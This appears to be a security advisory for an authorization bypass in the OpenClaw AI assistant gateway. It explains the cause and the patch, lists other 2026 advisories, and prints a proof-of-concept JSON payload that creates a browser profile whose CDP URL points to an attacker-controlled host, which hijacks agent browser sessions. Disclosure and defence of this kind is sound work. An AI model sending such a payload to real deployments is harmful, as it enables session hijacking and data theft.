Mar 14, 2026·5 min read·133 visits
OpenClaw prior to version 2026.3.11 fails to restrict access to internal browser profile management routes. Authenticated users with operator.write scope can create or delete persistent browser profiles, enabling infrastructure hijacking.
A high-severity authorization bypass vulnerability exists in the OpenClaw AI assistant platform. It permits users with write-scoped permissions to interact with restricted administrative endpoints. This flaw enables attackers to modify or delete persistent browser profiles, hijacking browser infrastructure via malicious Chrome DevTools Protocol (CDP) URLs.
OpenClaw is an open-source AI assistant platform that integrates remote browser control via a central gateway. The platform utilizes persistent browser profiles to manage connections to remote browser instances using the Chrome DevTools Protocol (CDP).
The vulnerability, identified as GHSA-VMHQ-CQM9-6P7Q, resides within the browser.request method exposed by the OpenClaw gateway. This method facilitates interaction with the browser control surface for authorized agents and operators. A flaw in the authorization logic permits accounts with only operator.write privileges to access administrative endpoints.
By exploiting this incorrect authorization (CWE-863), a low-privileged user can manipulate the routing logic. This allows the unauthorized creation or deletion of persistent browser profiles, leading to severe integrity and availability impacts on the platform's browser infrastructure.
The OpenClaw gateway routes incoming commands to an internal node registry. The browser.request method acts as an interface for callers with write-scoped permissions to perform operational tasks. The implementation blindly forwarded requests based on the provided path and method without strictly validating the destination against a list of allowed endpoints.
Internal administrative routes, specifically POST /profiles/create and DELETE /profiles/:name, were inadvertently exposed to this request forwarding mechanism. These endpoints are strictly intended for administrative use to provision or decommission persistent browser infrastructure.
Because the browser.request handler did not filter out mutations to the /profiles namespace, any authenticated entity possessing operator.write permissions could craft a payload targeting these administrative routes. The system processed these requests within the elevated context of the gateway, bypassing intended access controls entirely.
The vulnerable implementation in src/gateway/server-methods/browser.ts accepted arbitrary paths within the browser.request handler. The fix introduces a dedicated validation function named isPersistentBrowserProfileMutation to intercept and block administrative path requests.
function isPersistentBrowserProfileMutation(method: string, path: string): boolean {
const normalizedPath = normalizeBrowserRequestPath(path);
// Block profile creation
if (method === "POST" && normalizedPath === "/profiles/create") {
return true;
}
// Block profile deletion
return method === "DELETE" && /^\/profiles\/[^/]+$/.test(normalizedPath);
}The patch integrates this validation step directly into the browserHandlers.request pipeline. If the function returns true, the gateway immediately rejects the payload with an INVALID_REQUEST error code, preventing the call from reaching the internal node registry.
if (isPersistentBrowserProfileMutation(methodRaw, path)) {
respond(
false,
undefined,
errorShape(
ErrorCodes.INVALID_REQUEST,
"browser.request cannot create or delete persistent browser profiles",
),
);
return;
}This explicit deny-list approach effectively neutralizes the authorization bypass for the identified endpoints. Developers must ensure that any future administrative endpoints added to the /profiles namespace or similar internal routes are also explicitly protected to prevent variant attacks.
Exploitation requires the attacker to possess an active OpenClaw operator account or control a subagent provisioned with operator.write permissions. The attacker utilizes the browser.request API method to deliver a malicious payload to the gateway.
The attack vector involves sending a POST request directed at the /profiles/create endpoint. The attacker includes a custom name parameter and a malicious cdpUrl pointing to an attacker-controlled infrastructure. The gateway processes the request and instantiates the new persistent profile.
{
"method": "POST",
"path": "/profiles/create",
"body": {
"name": "hijacked-profile",
"cdpUrl": "http://attacker-controlled-ip:9222"
}
}Once the profile is created, any subsequent automated tasks or agent sessions configured to use that profile will connect directly to the attacker's Chrome DevTools Protocol endpoint. The attacker can also degrade service availability by issuing a DELETE request to /profiles/default or other active profile names, abruptly terminating existing browser sessions.
The vulnerability carries a CVSS v3.1 base score of 7.1, reflecting a high-severity flaw. The primary security impact is a high integrity violation, as the attacker gains the ability to provision unauthorized infrastructure within the platform's trusted environment.
Hijacking the Chrome DevTools Protocol (CDP) connection grants the attacker profound control over the browser sessions. The attacker can execute arbitrary JavaScript within the context of the remote browser, access sensitive session tokens, and exfiltrate data processed by the AI agents.
Furthermore, the availability impact is classified as low but remains significant in production environments. An attacker can systematically delete all existing persistent browser profiles, causing denial-of-service conditions for automated workflows relying on those profiles. The attack vector requires no user interaction and operates seamlessly over the network.
The vulnerability is resolved in OpenClaw version 2026.3.11. Administrators must upgrade their gateway deployments immediately to prevent exploitation via the browser.request API. No configuration changes are required for the patch to take effect; the mitigation is handled entirely at the code level.
Organizations should conduct a thorough audit of their existing OpenClaw persistent browser profiles. Administrators must verify that all registered profiles and associated Chrome DevTools Protocol (CDP) URLs point to legitimate, trusted infrastructure. Any unrecognized profiles should be purged immediately.
Security teams must enforce the principle of least privilege across the OpenClaw deployment. Ensure that operator.write permissions are exclusively granted to trusted identities and automated subagents. Restricting these privileges reduces the overall attack surface and limits the potential for internal privilege escalation.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L| Product | Affected Versions | Fixed Version |
|---|---|---|
OpenClaw OpenClaw | < 2026.3.11 | 2026.3.11 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-863 |
| Attack Vector | Network |
| CVSS Base Score | 7.1 |
| Privileges Required | Low (operator.write) |
| Integrity Impact | High |
| Exploit Status | Proof of Concept |
The software performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
CVE-2026-115895 is a high-severity code injection vulnerability (CWE-94) in the happy-dom npm package prior to version 21.0.4. The vulnerability exists within the ECMAScriptModuleCompiler component, which transforms ECMAScript module syntax into executable Node.js functions when JavaScript evaluation is enabled. Due to an incomplete fix for CVE-2026-33943, the compiler failed to validate local named import aliases against legal JavaScript identifier rules. Attackers supplying crafted module imports—specifically utilizing destructuring default initializers alongside JSON module attributes—can inject arbitrary JavaScript expressions directly into the host Node.js runtime context.
An improper input validation and authorization bypass vulnerability exists in the LangGraph storage layer affecting langgraph, langgraph-checkpoint-postgres, and langgraph-checkpoint-sqlite. Because relational store implementations serialize namespace tuples into dot-delimited strings without validating labels on read, search, delete, and batch operations, an attacker who controls a namespace label can inject periods (.) to traverse namespace boundaries and access, modify, or delete data belonging to other namespaces.
CVE-2026-115886 (GHSA-2wqp-q3c6-ccj5) is a Server-Side Request Forgery (SSRF) and Unsafe Reflection vulnerability in MLflow versions 3.12.0rc0 prior to 3.17.0. Unauthenticated REST API endpoints accept serialized third-party scorer JSON payloads that are dynamically deserialized and reflectively instantiated without sanitizing constructor keyword arguments. When optional dependencies such as trulens and trulens-providers-litellm are installed, attackers can inject egress-steering arguments into the scorer payload, forcing the MLflow server to dispatch outbound HTTP requests to arbitrary internal destinations or cloud metadata services.
CVE-2026-113872 (GHSA-q7qp-rjg7-q26m) is a high-severity denial-of-service vulnerability affecting the multer multipart/form-data upload middleware for Node.js and Express in versions 2.0.0 through 2.4.0. When an endpoint is configured to accept multiple files using an asynchronous fileFilter callback, a crafted, truncated multipart HTTP request can trigger an unhandled error event on the underlying busboy stream parser after request teardown has already completed. Because all error listeners are stripped during teardown, Node.js treats the resulting error event as an uncaught exception and immediately terminates the server process.
CVE-2026-115897 (also tracked as GHSA-m5mm-p8h7-m29v and aliased as CVE-2026-115754) is a Cross-Site Scripting (XSS) vulnerability in the Yahoo serialize-javascript npm package prior to version 7.1.3. The flaw exists in the regular expression used by escapeFunctionBody() to neutralize HTML script closing tags within serialized JavaScript functions. Because function bodies are sanitized in isolation before structural formatting is applied, a function whose string representation terminates directly with the sequence '</script' bypasses the positive lookahead check. When combined with serialization formatting options that introduce whitespace delimiters and a subsequent property that supplies a closing bracket, an attacker can prematurely terminate an enclosing HTML <script> block and inject arbitrary HTML or JavaScript into the rendered document.
CVE-2026-109841 is a Subresource Integrity (SRI) verification bypass vulnerability in undici, the official HTTP/1.1 and HTTP/2 client library for Node.js that powers the global fetch() implementation. The flaw stems from improper handling of case sensitivity (CWE-178) when validating cryptographic hash algorithm tokens within SRI metadata. Because undici compared incoming algorithm identifiers against a strictly lowercase set without prior ASCII-lowercase normalization, valid uppercase or mixed-case tokens such as SHA256- or Sha384- were treated as unrecognized algorithms and discarded. Under SRI forward-compatibility rules, discarding all provided tokens results in an empty integrity list, causing undici to fail open and accept tampered HTTP response bodies without cryptographic verification.